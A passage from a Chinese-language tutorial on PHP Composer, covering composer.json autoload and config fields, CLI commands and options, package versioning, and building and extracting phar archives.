If you want to have a fallback directory where any namespace will be looked for,you can use an empty prefix like:
"autoload": {
"psr-4": { "": "src/" }
}
2、PSR-0
在psr-0 key下定义了一个命名空间到实际路径的映射(相对于包的根目录)。这里同样支持PEAR-style方式的约定(与命名空间不同,PEAR类库在类名上采用了下划线分隔)。
命名空间的申明应该以\\结束,以确保autoloader能够准确响应。例: Foo将会与FooBar匹配,然而以反斜杠结束就可以解决这样的问题,Foo\\和FooBar\\将会被区分开来。
在install/update过程中,PSR-0引用都将被结合为一个单一的键值对数组,存储至vendor/composer/autoload_namespaces.php文件中
"autoload": {
"psr-0": {
"Monolog\\": "src/",
"Vendor\\Namespace\\": "src/",
"Vendor_Namespace_": "src/"
}
}
如果需要搜索多个目录中一个相同的前缀,可以将它们指定为一个数组
从src/和lib/目录下查找一个相同的前缀Monolog的类
"autoload": {
"psr-0": { "Monolog\\": ["src/","lib/"] }
}
PSR-0方式并不仅限于申明命名空间,也可以是精确到类级别的指定。这对于只有一个类在全局命名空间的类库是非常有用的(如果php源文件也位于包的根目录)
"autoload": {
"psr-0": { "UniqueGlobalClass": "" }
}
如果想设置一个目录作为任何命名空间的备用目录,可以使用空的前缀
"autoload": {
"psr-0": { "": "src/" }
}
3、Classmap
除了PSR-4自动加载,classmap也是支持的,这允许类被自动加载,即使不符合PSR-0规范
Class-map方式则是通过配置指定的目录或文件,然后在Composer安装或更新时扫描指定目录下.php或.inc文件中的class,生成class到指定file path的映射,并加入新生成的 vendor/composer/autoload_classmap.php 文件中。
可以用classmap生成支持自定义加载的不遵循PSR-0/4规范的类库。要配置它指向需要的目录,以便能够准确搜索到类文件。
"autoload": {
"classmap": ["src/","lib/","Something.php"]
}
例如src/下有一个BaseController类,那么在autoload_classmap.php文件中就会生成这样的配置:
'BaseController' => $baseDir . '/src/BaseController.php'
4、Files
如果想要明确的指定,在每次请求时都要载入某些文件,那么可以使用'files' autoloading。通常作为函数库的载入方式(而非类库)。
Files方式就是手动指定供直接加载的文件,比如有一系列全局的helper functions可以放到一个helper文件里然后直接进行加载
files就是需要composer自动加载的函数库(不含类),只要在后面的数组中将函数库的文件路径写入即可
它会生成一个array,包含这些配置中指定的files,再写入新生成的vendor/composer/autoload_files.php文件中,以供autoloader直接进行加载
"autoload": {
"files": ["src/MyLibrary/functions.php", "vendor/phpqrcode/phpqrcode/phpqrcode.php"]
}
【 autoload-dev (root-only) 】
This section allows to define autoload rules for development purposes.
Classes needed to run the test suite should not be included in the main autoload rules to avoid polluting the autoloader in production and when other people use your package as a dependency.
Therefore,it is a good idea to rely on a dedicated path for your unit tests and to add it within the autoload-dev section.
"autoload": {
"psr-4": { "MyLibrary\\": "src/" }
},
"autoload-dev": {
"psr-4": { "MyLibrary\\Tests\\": "tests/" }
}
【 include-path 】
不建议: 这是目前唯一支持传统项目的做法,所有新的代码都建议使用自动加载。 这是一个过时的做法,但Composer将仍然保留这个功能
一个追加到PHP include_path中的列表。
"include-path": ["lib/"]
【 target-dir 】
DEPRECATED: This is only present to support legacy PSR-0 style autoloading,and all new code should preferably use PSR-4 without target-dir and projects using PSR-0 with PHP namespaces are encouraged to migrate to PSR-4 instead.
定义当前包安装的目标文件夹,可选
若某个包的根目录,在它申明的命名空间之下,将不能正确的使用自动加载,而target-dir解决了这个问题。
Symfony就是一个例子,它有一些独立的包作为组件,Yaml组件就放在Symfony\Component\Yaml目录下,然而这个包的根目录实际上是 Yaml。为了使自动加载成为可能,需要确保它不会被安装到vendor/symfony/yaml,而是安装到vendor/symfony/yaml/Symfony/Component/Yaml,从而使Symfony定义的autoloader可以从vendor/symfony/yaml加载它。
要做到这一点autoload和target-dir应该定义如下:
{
"autoload": {
"psr-0": { "Symfony\\Component\\Yaml\\": "" }
},
"target-dir": "Symfony/Component/Yaml"
}
【 minimum-stability (root-only) 】
这定义了通过稳定性过滤包的默认行为。默认为stable(稳定)。因此如果依赖于一个dev(开发)包就应该明确的进行定义。
对每个包的所有版本都会进行稳定性检查,而低于minimum-stability所设定的最低稳定性的版本,将在解决依赖关系时被忽略。对于个别包的特殊稳定性要求,可以在require或require-dev中设定
可用的稳定性标识(按字母排序): dev、alpha、beta、RC、stable。
【 prefer-stable (root-only) 】
使用"prefer-stable": true激活时,Composer将优先使用更稳定的包版本。
【 repositories (root-only) 】
默认composer只使用packagist作为包的资源库,通过该选项指定资源库可以从其他地方获取资源包。
Repositories并不是递归调用的,只能在Root包的composer.json中定义,附属包中的composer.json将被忽略。
包
Composer是一个依赖管理工具。它在本地安装一些资源包。一个包本质上就是一个包含东西的目录。通常情况下它存储PHP代码,但在理论上它可以是任何东西。并且它包含一个描述,其中有一个名称和一个版本号,这个名称和版本号用于识别该包。
事实上在composer内部将每一个版本都视为一个单独的包。尽管在使用composer时这种区别无关紧要,但想改变它时就显得至关重要。
除了名称和版本号,还存放了有用的元数据。与安装关系最密切的source信息申明在哪里可获得资源包的内容。包数据指向包内容,并有两种指向方式: dist和source。
Dist: 指向一个存档,该存档是对一个资源包的某个版本的数据进行的打包,通常是已经发行的稳定版本。
Source: 指向一个开发中的源,通常是一个源代码仓库如git,想要对下载下来的资源包进行修改时可以这样获取。
可以使用其中任意一个或同时使用,这取决于其它的一些因素,比如"user-supplied选项"和"包的稳定性",前者将会被优先考虑。
资源库
一个资源库是一个包的来源,它是一个packages/versions的列表。Composer将查看所有定义的repositories以找到项目需要的资源包。
默认已经将Packagist.org注册到Composer,可以在composer.json中申明更多的资源库,把它们加入项目中。
资源库的定义仅可用于root包,而在依赖的包中定义的资源库将不会被加载
支持以下类型的包资源库:
1、composer
一个composer类型的资源库是一个简单的网络服务器(HTTP、FTP、SSH)上的packages.json文件,包含一个composer.json对象的列表,有额外的dist和/或source信息。这个packages.json文件是用一个PHP流加载的。可以使用options参数来设定额外的流信息。
2、vcs
从git、svn和hg取得资源。
3、pear
从pear获取资源。
4、package
如果依赖于一个不提供任何对composer支持的项目时就可以使用这种类型。基本上只需要内联一个composer.json对象。
"repositories": [
{
"type": "composer",
"url": "http://packages.example.com"
},{
"type": "composer",
"url": "https://packages.example.com",
"options": {
"ssl": { "verify_peer": "true" }
}
},{
"type": "vcs",
"url": "https://github.com/Seldaek/monolog"
},{
"type": "pear",
"url": "http://pear2.php.net"
},{
"type": "package",
"package": {
"name": "smarty/smarty",
"version": "3.1.7",
"dist": {
"url": "http://www.smarty.net/files/Smarty-3.1.7.zip",
"type": "zip"
},
"source": {
"url": "http://smarty-php.googlecode.com/svn/",
"type": "svn",
"reference": "tags/Smarty_3_1_7/distribution/"
}
}
}
]
顺序是非常重要的,当Composer查找资源包时会按照顺序进行。默认Packagist是最后加入的,因此自定义设置将可以覆盖Packagist上的包。
【 config (root-only) 】
下面的这一组选项仅用于当前项目
process-timeout
默认300,处理进程结束时间,例如git克隆的时间。Composer将放弃超时的任务,网络缓慢或正在使用一个大包时可能要将这个值设置的更高一些。
use-include-path
默认false。如果为true,Composer autoloader还将在PHP include path中继续查找类文件。
preferred-install
默认auto,可选值是source、dist或auto,这个选项允许设置Composer的默认安装方法。
github-protocols
默认为["git","https","ssh"]。从github.com克隆时使用的协议优先级清单,因此默认情况下将优先使用git协议进行克隆。可以重新排列它们的次序,例如,如果网络有代理服务器或git协议的效率很低,就可以提升https协议的优先级。
github-oauth
一个域名和oauth keys的列表。例如使用{"github.com": "oauthtoken"}作为此选项的值,将使用oauthtoken来访问github上的私人仓库,并绕过low IP-based rate的API限制
vendor-dir
默认vendor,通过设置可以安装依赖到不同的目录。
bin-dir
默认vendor/bin,如果一个项目包含二进制文件,它们将被连接到这个目录。
cache-dir
unix默认$home/cache,Win默认C:\Users\< user >\AppData\Local\Composer。用于存储composer所有的缓存文件
cache-files-dir
默认$cache-dir/files,存储包zip存档的目录。
cache-repo-dir
默认$cache-dir/repo,存储composer类型的VCS(svn、github、bitbucket)repos目录。
cache-vcs-dir
默认$cache-dir/vcs,此目录用于存储VCS克隆的git/hg类型的元数据,并加快安装速度。
cache-files-ttl
默认15552000(6个月),默认Composer缓存的所有数据都将在闲置6个月后被删除,可以将其设置为0以禁用缓存。
cache-files-maxsize
默认300MiB。Composer缓存的最大容量,超出后将优先清除旧的缓存数据,直到缓存量低于这个数值。
prepend-autoloader
默认true,false表示composer autoloader将不会附加到现有的自动加载机制中。这有时候用来解决与其它自动加载机制产生的冲突。
autoloader-suffix
默认null,Composer autoloader的后缀,当设置为空时将会产生一个随机的字符串。
optimize-autoloader Defaults to false. Always optimize when dumping the autoloader.
github-domains
默认["github.com"]。一个github mode下的域名列表。这是用于GitHub的企业设置。
notify-on-install
默认true。Composer允许资源仓库定义一个用于通知的URL,以便有人从其上安装资源包时能够得到一个反馈通知,此选项允许禁用该行为。
discard-changes
默认false,它的值可以是true、false或stash。这个选项允许设置在非交互模式下,当处理失败的更新时采用的处理方式。true表示永远放弃更改。stash"表示继续尝试。Use this for CI servers or deploy scripts if you tend to have modified vendors.
【 scripts (root-only) 】
Composer允许在安装过程中的各个阶段挂接脚本。
【 extra 】
任意的,供scripts使用的额外数据,可选。
要从脚本事件访问处理程序:
$extra = $event->getComposer()->getPackage()->getExtra();
【 bin 】
可选,该属性用于标注一组应被视为二进制脚本的文件,他们会被软链接到config对象中的bin-dir属性所标注的目录以供其他依赖包调用
【 archive 】
这些选项在创建包存档时使用,可选
exclude: 设置一个需要被排除的路径列表,使用与.gitignore文件相同的语法。一个前导的!将会使其变成白名单而无视之前相同目录的排除设定。前导斜杠只会在项目的相对路径的开头匹配。星号为通配符。
// include /dir/foo/bar/file、/foo/bar/baz、/file.php、/foo/my.test 但排除/foo/bar/any、/foo/baz、/my.test
"archive": {
"exclude": ["/foo/bar","baz","/*.test","!/foo/bar/baz"]
}
{
"require": { // 声明依赖关系
"php": ">=5.4.0",
"illuminate/database": "*",
"monolog/monolog": "1.2.*" // 项目依赖monolog作为日志记录
},
"config": {
"secure-http": false // 不使用https
},
"autoload": {
"classmap": [ "app/models" ],
"files": [ "vendor/yjc/src/Alipay/autoload.php" ],
"psr-4": { "Yjc\\Sms\\": "vendor/yjc/src/Sms" }
}
}
composer命令行
【 全局参数 】
下列参数可与每一个命令结合使用:
--verbose (-v): 增加反馈信息的详细度。
-v 表示正常输出。
-vv 表示更详细的输出。
-vvv 则是为了debug。
--help (-h): 显示帮助信息。
--quiet (-q): 禁止输出任何信息。
--no-interaction (-n): 不要询问任何交互问题。
--working-dir (-d): 如果指定的话,使用给定的目录作为工作目录。
--profile: 显示时间和内存使用信息。
--ansi: 强制ANSI输出。
--no-ansi: 关闭ANSI输出。
--version (-V): 显示当前应用程序的版本信息。
【 进程退出代码 】
0: 正常
1: 通用/未知错误
2: 依赖关系处理错误
【 获取帮助信息help 】
使用help可以获取指定命令的帮助信息。
php composer.phar help install
【 初始化init 】
composer.json文件可以手动创建,还可以使用init命令以交互方式自动创建
php composer.phar init
composer init
初始化参数
--name: 包的名称。
--description: 包的描述。
--author: 包的作者。
--homepage: 包的主页。
--require: 需要依赖的其它包,必须要有一个版本约束,且应该遵循foo/bar:1.0.0这样的格式。
--require-dev: 开发版的依赖包,内容格式与--require相同。
--stability (-s): minimum-stability字段的值。
不编辑composer.json的情况下安装库
每安装一个库都需要修改composer.json太麻烦,可以直接使用require命令。
composer require "foo/bar:1.0.0"
这个方法也可以用来快速地新开一个项目。init命令有--require选项,可以自动编写composer.json
$ composer init --require=foo/bar:1.0.0 -n // 使用-n就不用回答问题
【 安装install 】
install命令读取./composer.json,处理依赖关系,并把其安装到vendor目录,然后把安装时确切的版本号列表写入./composer.lock锁文件,这将锁定该项目的特定版本
如果./composer.lock存在,它会从此文件读取依赖版本,而不是根据composer.json去获取依赖,这确保了该库的每个使用者都能得到相同的依赖版本。
把第三方的代码到一个指定的目录vendor是一个惯例,如果是monolog将会创建vendor/monolog/monolog目录
所以应该提交应用程序的composer.lock和composer.json到版本库中
如果使用Git来管理项目,可能要添加vendor到.gitignore文件中
php composer.phar install
composer install
不知道具体版本时, composer.json添加 "justmd5/pinduoduo-sdk": "*" 自动安装最新版本
参数
--prefer-source
下载包的方式有source和dist。对于稳定版本compose将默认使用dist方式,而source表示版本控制源,如果--prefer-source被启用composer将从source安装。如果想要使用一个bugfix到项目,这是非常有用的,并且可以直接从本地的版本库直接获取依赖关系。
--prefer-dist:
与--prefer-source相反,composer将尽可能的从dist获取,这将大幅度的加快在build servers上的安装。这也是一个回避git问题的途径
--dry-run 只演示而并非实际安装一个包,它将模拟安装并显示将会发生什么。
--dev 安装require-dev字段中列出的包,这是一个默认值
--no-dev 跳过require-dev字段中列出的包。
--no-scripts 跳过composer.json文件中定义的脚本。
--no-plugins 关闭plugins。
--no-progress 移除进度信息,避免一些不处理换行的终端或脚本出现混乱的显示。
--optimize-autoloader (-o): 转换PSR-0/4 autoloading到classmap可以获得更快的加载支持,特别是在生产环境下,但由于运行需要一些时间,因此并没有作为默认值。
当需要修改库的时候,克隆源代码就比下载包方便了。可以使用--prefer-source来强制选择克隆源代码。
composer update symfony/yaml --prefer-source
接下来可以修改文件:
composer status -v
You have changes in the following dependencies:
/path/to/app/vendor/symfony/yaml/Symfony/Component/Yaml:
M Dumper.php
当试图更新一个修改过的库的时候,Composer会提醒询问是否放弃修改:
$ composer update
Loading composer repositories with package information
Updating dependencies
- Updating symfony/symfony v2.2.0 (v2.2.0- => v2.2.0)
The package has modified files:
M Dumper.php
Discard changes [y,n,v,s,?]?
【 更新update 】
update命令将根据composer.json文件获取项目的所有依赖的最新版本并且升级更新composer.lock文件
php composer.phar update
php composer.phar update vendor/package vendor/package2 monolog/monolog // 使用白名单列出只更新几个包
php composer.phar update vendor/* // 使用通配符进行批量更新
参数
--prefer-source 当有可用的包时从source安装。
--prefer-dist 当有可用的包时从dist安装。
--dry-run 模拟命令,并没有做实际的操作。
--dev 安装require-dev字段中列出的包(这是一个默认值)。
--no-dev 跳过require-dev字段中列出的包。
--no-scripts 跳过composer.json文件中定义的脚本。
--no-plugins 关闭plugins。
--no-progress 移除进度信息,这可以避免一些不处理换行的终端或脚本出现混乱的显示。
--optimize-autoloader (-o) 同install命令参数
--lock 仅更新lock文件的hash,取消有关lock文件过时的警告。
--with-dependencies 同时更新白名单内包的依赖关系,这将进行递归更新。
Warning: The lock file is not up to date with the latest changes in composer.json, you may be getting outdated dependencies, run update to update them.
如果编辑了composer.json,增加或更新了细节信息,比如库的描述、作者、更多参数,甚至仅仅增加了一个空格都会改变文件的md5sum,然后Composer就会警告哈希值和composer.lock中记载的不同。update命令可以更新lock文件,但如果仅仅增加了一些描述不打算更新任何库。这种情况下只需update nothing:
$ composer update nothing
这样一来,Composer不会更新库,但会更新composer.lock。nothing并不是update命令的关键字。只是没有nothing这个包导致的结果。如果输入foobar,结果也一样。
如果用的Composer版本足够新,那么可以直接使用--lock选项:
composer update --lock
【 申明依赖require 】
require命令增加新的依赖包到当前目录的composer.json文件中,在添加或改变依赖时修改后的依赖关系将被安装或更新
php composer.phar require // 通过交互来指定依赖包
php composer.phar require vendor/package:2.* vendor/package2:dev-master // 直接指明依赖包
参数
--prefer-source 当有可用的包时从source安装。
--prefer-dist 当有可用的包时从dist安装。
--dev 安装require-dev字段中列出的包。
--no-update 禁用依赖关系的自动更新。
--no-progress 移除进度信息,避免一些不处理换行的终端或脚本出现混乱的显示。
--update-with-dependencies 一并更新新装包的依赖。
【 remove 】
composer remove monolog/monolog // 移除某个包
【 全局执行global 】
global命令允许在$COMPOSER_HOME目录下执行其它命令,像install、require或update
如果将$COMPOSER_HOME/vendor/bin加入到了$PATH环境变量中就可以用它在命令行中安装全局应用
php composer.phar global require fabpot/php-cs-fixer:dev-master
现在php-cs-fixer就可以在全局范围使用了(假设已经设置了PATH)。如果稍后想更新它只需要运行global update:
php composer.phar global update
【 搜索search 】
search命令允许为当前项目搜索依赖包,通常只搜索packagist.org上的包
php composer.phar search monolog
参数
--only-name (-N): 仅针对指定的名称搜索(完全匹配)。
【 展示show 】
列出所有可用的软件包
php composer.phar show
php composer.phar show monolog/monolog // 查看一个包的详细信息
php composer.phar show monolog/monolog 1.0.2 // 输入一个软件包的版本号来显示该版本的详细信息
展示-参数
--installed (-i) 列出已安装的依赖包。
--platform (-p) 仅列出平台软件包(PHP与它的扩展)。
--self (-s) 仅列出当前项目信息。
【 依赖性检测depends 】
depends命令查看已安装在项目中的某个包是否正在被其它的包所依赖,并列出他们。
php composer.phar depends monolog/monolog
参数
--link-type: 检测的类型,默认为require,也可以是require-dev
【 有效性检测validate 】
在提交composer.json文件和创建tag前应该始终运行validate命令检测composer.json文件是否有效
php composer.phar validate
有效性检测参数
--no-check-all: Composer是否进行完整的校验
【 依赖包状态检测status 】
如果经常修改依赖包里的代码并且它们是从source(自定义源)进行安装的,那么status命令允许进行检查,如果有任何本地的更改它将会给予提示。
php composer.phar status
php composer.phar status -v // 使用 --verbose 系列参数(-v|vv|vvv)来获取更详细的详细
【 自我更新self-update 】
将Composer自身升级到最新版本,它将替换composer.phar文件到最新版本。
php composer.phar self-update
php composer.phar self-update 1.0.0-alpha7 // 升级到一个特定的版本
自我更新-参数
--rollback (-r): 回滚到已经安装的最后一个版本。
--clean-backups: 在更新过程中删除旧的备份,这使得更新过后的当前版本是唯一可用的备份。
【 更改配置config 】
config命令允许编辑Composer的一些基本设置,无论是本地的composer.json或全局的config.json文件。
php composer.phar config --list
更改配置
config [options] [setting-key] [setting-value1] ... [setting-valueN]
setting-key是一个配置选项的名称,setting-value1是一个配置的值,可以使用数组作为配置的值,像github-protocols,多个setting-value是允许的。
除了修改配置项,config命令还支持通过以下方法修改包的来源信息:
php composer.phar config repositories.foo vcs http://github.com/foo/bar
参数
--global (-g)
操作位于$COMPOSER_HOME/config.json的全局配置文件。如果不指定该参数此命令将影响当前项目的composer.json文件或--file参数所指向的文件。
--editor (-e)
使用文本编辑器打开composer.json文件。默认打开当前项目的配置文件,当存在--global参数时将会打开全局composer.json文件。
--unset 移除由setting-key指定名称的配置选项。
--list (-l) 显示当前配置选项的列表。当存在 --global 参数时,将会显示全局配置选项的列表。
--file="..." (-f) 在一个指定的文件上操作,而不是composer.json,不能与--global一起使用。
【 创建项目create-project 】
可以使用Composer从现有的包中创建一个新的项目,这相当于执行了git clone或svn checkout命令后将这个包的依赖安装到它自己的vendor目录。
默认这个命令会在packagist.org上查找指定的包。
传递一个包名,它会创建项目的目录,也可以在第三个参数中指定版本号,否则将获取最新的版本。
此外也可以无需使用这个命令,而是通过现有的composer.json文件来启动这个项目。
此命令有几个常见的用途:
1、可以快速的部署应用。
2、可以检出任何资源包,并开发它的补丁。
3、多人开发项目,可以用来加快应用的初始化。
初始化的时候使用create-project命令,自动克隆仓库,并检出指定的版本。克隆库的时候用这个命令很方便,不需要搜寻原始的URI
composer create-project doctrine/orm path 2.2.0
php composer.phar create-project doctrine/orm path 2.2.*
参数
--repository-url: 提供自定义的储存库来搜索包,代替packagist.org。可以是指向composer资源库的HTTP URL或指向某个packages.json的本地路径。
--stability (-s) 资源包的最低稳定版本,默认为stable。
--prefer-source 当有可用的包时,从source 安装。
--prefer-dist 当有可用的包时,从dist 安装。
--dev 安装require-dev 字段中列出的包。
--no-install 禁止安装包的依赖。
--no-plugins 禁用plugins。
--no-scripts 禁止在根资源包中定义的脚本执行。
--no-progress 移除进度信息,这可以避免一些不处理换行的终端或脚本出现混乱的显示。
--keep-vcs 创建时跳过缺失的VCS 。如果在非交互模式下运行创建命令,这将是非常有用的。
【 打印自动加载索引dump-autoload 】
某些情况下需要更新autoloader,例如在包中加入了一个新的类,可以使用dump-autoload来完成,而不必执行install或update命令。
此外它可以打印一个优化过的符合PSR-0/4规范的类的索引,这也是出于对性能的考虑。在大型的应用中会有许多类文件,而autoloader会占用每个请求的很大一部分时间,使用classmaps或许在开发时不太方便,但它在保证性能的前提下仍然可以获得PSR-0/4规范带来的便利。
如果手动更新了composer.json需要更新autoload:
composer dump-autoload
参数
--optimize (-o): 转换PSR-0/4 autoloading到classmap获得更快的载入速度,特别适用于生产环境,但可能需要时间来运行,因此它目前不是默认设置。
--no-dev: 禁用autoload-dev规则。
为生产环境作准备
在部署代码到生产环境的时候优化一下自动加载:
composer dump-autoload --optimize
安装包的时候可以同样使用--optimize-autoloader,不加这一选项可能会发现20%到25%的性能损失
【 查看许可协议licenses 】
列出已安装的每个包的名称、版本、许可协议。可使用--format=json参数来获取JSON格式的输出。
【 执行脚本run-script 】
可以运行此命令来手动执行指定脚本,可选的--no-dev参数禁用开发者模式。
【 诊断diagnose 】
如果觉得发现了一个bug或程序行为变得怪异,可能需要运行diagnose命令来帮助检测一些常见的问题。
php composer.phar diagnose
【 归档archive 】
对指定包的指定版本进行zip/tar归档,也可以用来归档整个项目,不包括excluded/ignored(排除/忽略)的文件。
php composer.phar archive vendor/package 2.0.21 --format=zip
参数
--format (-f) 指定归档格式: tar(默认)或zip
--dir 指定归档存放的目录,默认为当前目录
【 考虑缓存,dist包优先 】
最近一年以来的Composer会自动存档下载的dist包。默认设置下dist包用于加了tag的版本,例如"symfony/symfony": "v2.1.4",或者是通配符或版本区间,"2.1.*"或">=2.2,< 2.3-dev"(如果使用stable作为minimum-stability)。
dist包也可以用于诸如dev-master之类的分支,Github允许下载某个git引用的压缩包。为了强制使用压缩包,而不是克隆源代码,可以使用install和update的--prefer-dist选项。
下面是一个例子(使用了--profile选项来显示执行时间):
$ composer init --require="twig/twig:1.*" -n --profile
Memory usage: 3.94MB (peak: 4.08MB), time: 0s
$ composer install --profile
Loading composer repositories with package information
Installing dependencies
- Installing twig/twig (v1.12.2)
Downloading: 100%
Writing lock file
Generating autoload files
Memory usage: 10.13MB (peak: 12.65MB), time: 4.71s
$ rm -rf vendor
$ composer install --profile
Loading composer repositories with package information
Installing dependencies from lock file
- Installing twig/twig (v1.12.2)
Loading from cache
Generating autoload files
Memory usage: 4.96MB (peak: 5.57MB), time: 0.45s
这里,twig/twig:1.12.2的压缩包被保存在~/.composer/cache/files/twig/twig/1.12.2.0-v1.12.2.zip。重新安装包时直接使用。
库、资源包
每一个项目都是一个包,只要有一个composer.json文件在目录中,那么整个目录就是一个包。添加一个require到项目中就是在创建一个依赖于其它库的包。项目和库之间唯一的区别是项目是一个没有名字的包。
为了使它成为一个可安装的包需要给它一个名称,可以通过composer.json中的name来定义:
{
"name": "acme/hello-world",
"require": {
"monolog/monolog": "1.0.*"
}
}
在这种情况下项目的名称为acme/hello-world,其中acme是必填的供应商的名称
如果不知道拿什么作为供应商的名称,可使用github上的用户名,虽然包名不区分大小写,但惯例是使用小写字母,并用连字符作为单词的分隔
【 Root包 】
Root包指由composer.json定义的在项目根目录的包。这是composer.json定义项目所需的主要条件,即自己的项目就是一个root包
某些字段仅适用于Root包上下文,config字段就是其中一个例子,只有Root包可以定义,在依赖包中定义的config字段将被忽略,这使得config字段只有root包可用(root-only)
如果克隆了其中的一个依赖包,直接在其上开始工作,那么它就变成了root包。与作为他人的依赖包时使用相同的composer.json文件,但上下文发生了变化。
一个资源包是不是root包取决于它的上下文,如果项目依赖monolog库,那么项目就是root包。但如果从GitHub上克隆了monolog为它修复bug,那么此时monolog就是root包
【 平台软件包 】
Composer将已安装在系统上但不由Composer安装的包视为一个虚拟的平台软件包。这包括PHP本身、PHP扩展和一些系统库
可以使用composer show --platform命令来获取可用的平台软件包的列表
php表示用户的PHP版本要求,可以对其做出限制,例如>=5.4.0。如果需要64位版本的PHP可以使用php-64bit进行限制
hhvm代表HHVM(HipHop Virtual Machine)运行环境的版本,并且允许设置一个版本限制,例如'>=2.3.3'。
ext-< name > 可指定需要的PHP扩展,包括核心扩展。通常PHP拓展的版本可以是不一致的,将它们的版本约束为 * 是一个不错的主意。一个PHP扩展包的例子: 包名可以写成ext-gd。
lib-< name > 允许对PHP库的版本进行限制,可供使用的名称: curl、iconv、icu、libxml、openssl、pcre、uuid、xsl。
【 指明包的版本 】
在Packagist上发布自己的包时能够从VCS(git,svn,hg线上版本控制系统)的信息推断出包的版本,因此不必手动指明版本号,并且也不建议这样做
"version": "1.0.0" // 手动指明包的版本
标签
对于每一个看起来像版本号的标签都会相应的创建一个包的版本
应该符合'X.Y.Z'或'vX.Y.Z'的形式,-patch、-alpha、-beta或-RC这些后缀是可选的,在后缀之后也可再跟一个数字。
require一个版本的约束时是不允许这种前缀的,因此v将被省略
有效的标签名称的几个例子:
1.0.0
v1.0.0
1.10.5-RC1
v4.4.4beta2
v2.0.0-alpha
v2.0.4-p1
分支
对于每一个分支都会相应的创建一个包的开发版本
如果分支名看起来像一个版本号,那么将创建一个如同{分支名}-dev的包版本号。例如一个分支2.0将产生一个2.0.x-dev包版本,加入.x是出于技术原因,以确保它被识别为一个分支,而2.0.x的分支名称也是允许的,同样会被转换为2.0.x-dev
如果分支名看起来不像一个版本号,它将会创建dev-{分支名}形式的版本号。例如master将产生一个dev-master的版本号
版本分支名称的一些示例:
1.x
1.0 (equals 1.0.x)
1.1.x
【 依赖发布到VCS线上版本控制系统的包 】
一旦有一个包含composer.json文件的库存储在线上版本控制系统如Git,这个库就可以被Composer所安装
任何含有composer.json的GIT、SVN、HG存储库都可以通过require字段指定"包来源"和"声明依赖"来添加到项目中
而被发布在packagist上的包可以直接被任何人通过Composer使用,而不必指定任何额外的来源信息
实例: 将acme/hello-world库发布在GitHub上的github.com/username/hello-world中
{
"name": "acme/blog", // name不是必须的,因为并不想将它发布为一个库
"repositories": [ // repositories指定包的来源,告诉应用在哪里可以找到hello-world的依赖
{
"type": "vcs",
"url": "https://github.com/username/hello-world"
}
],
"require": {
"acme/hello-world": "dev-master" // 项目依赖acme/hello-world包,它又依赖monolog/monolog
}
}
phar http://php.net/manual/en/book.phar.php
一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序、一个jquery库等等,为了做到这点php采用了phar文档文件格式,这个概念源自java的jar,但是在设计时主要针对PHP的Web环境,与JAR归档不同的是Phar归档可由PHP本身处理,因此不需要使用额外的工具来创建或使用,使用php脚本就能创建或提取它。phar是一个合成词,由PHP和Archive构成,可以看出它是php归档文件的意思。
phar归档文件有三种格式: tar归档、zip归档、phar归档,前两种执行需要php安装Phar扩展支持,用的也比较少
phar格式归档文件可以直接执行,它的产生依赖于Phar扩展,由自己编写的php脚本产生。
Pha扩展在php5.3已经内建于php中
Phar扩展依赖于php流包装器
很多php应用都是以phar格式分发并运行的,著名的有依赖管理composer、单元测试phpunit
【 phar文件的创建 】
首先在php.ini中修改phar.readonly这个选项,去掉前面的分号并改值为off,由于安全原因该选项默认是on,如果在php.ini中是禁用的即值为0或off,那么在用户脚本中可以开启或关闭,如果在php.ini中是开启的,那么用户脚本是无法关闭的,所以这里设置为off来展示示例
├─buildphar.php
├─get.php
├─index.php
├─phar.phar
└─project
├─index.php
├─lib.php
├─file
│ ├─pharfile.css
│ └─pharfile.js
├─lib
│ └─lib_a.php
└─template
└─msg.html
file文件夹有两个内容为空的js和css文件,仅仅演示phar可以包含多种文件格式
项目文件准备好了,开始创建,现在在project文件夹同级目录建立一个buildphar.php,用于产生phar格式文件
if (ini_get('phar.readonly')) {
ini_set('phar.readonly','0');
}
//产生一个phar.phar文件
$phar = new Phar('phar.phar',0,'phar.phar');
// 添加project里面的所有文件到phar.phar归档文件
$phar->buildFromDirectory(dirname(__FILE__) . '/project');
//设置执行时的入口文件,第一个用于命令行,第二个用于浏览器访问,这里都设置为index.php
$phar->setDefaultStub('index.php','index.php');
然后在浏览器中访问这个buildphar.php文件,将产生一个phar.phar文件
这就是产生一个phar归档文件最简单的过程了,需要注意的是如果项目不具备单一执行入口则不宜使用phar归档文件
【 phar归档文件的使用 】
在服务器根目录建立一个index.php文件来演示如何使用上面创建的phar文件
require 'phar.phar';
require 'phar://phar.phar/lib.php';
phplib();
如果index.php文件中只有第一行,那么和不使用归档文件时添加如下代码完全相同:
require "project/index.php";
如果没有第二行,那么第三行的yunke()将提示未定义,所以可见require一个phar文件时并不是导入了里面所有的文件,而只是导入了入口执行文件而已,但在实际项目中往往在这个入口文件里导入其他需要使用的文件,在本例中入口执行文件为project/index.php
【 phar文件的提取还原 】
有时候会好奇phar里面包含的文件源码,这个时候就需要将phar文件还原,如果只是看一看的话可以使用一些ide工具,比如phpstorm 10就能直接打开它,如果需要修改那么就需要提取操作了,演示下载一个composer.phar放在服务器目录,在根目录建立一个get.php文件
$phar = new Phar('phar.phar');
$phar->extractTo('copy'); // 提取一份原项目文件
// $phar->convertToData(Phar::ZIP); // 另外再提取一份,和上行二选一即可
用浏览器访问这个文件,即可提取出来,以上列子展示了两种提取方式: 第二行将建立一个composer目录,并将提取出来的内容放入,第三行将产生一个composer.zip文件,解压即可得到提取还原的项目文件
补充:
1、在部署phar文件到生产服务器时需要调整服务器的配置,避免当访问时浏览器直接下载phar文件
2、可以为归档设置别名,别名保存在归档文件中永久保存,它可以用一个简短的名字引用归档,而不管归档文件在文件系统中存储在那里,设置别名:
$phar = new Phar('lib/yunke.phar',0);
$phar->setAlias ( "yun.phar");
设置别名后可以如下使用:
require "lib/yunke.phar";
require "phar://yun.phar/Lib.php"; //使用别名访问归档文件
require "phar://lib/yunke.phar/Lib.php"; //当然仍然可以使用这样的方式去引用
如果在制作phar文件时没有指定别名,也可以在存根文件里面使用Phar::mapPhar('yunke.phar');指定
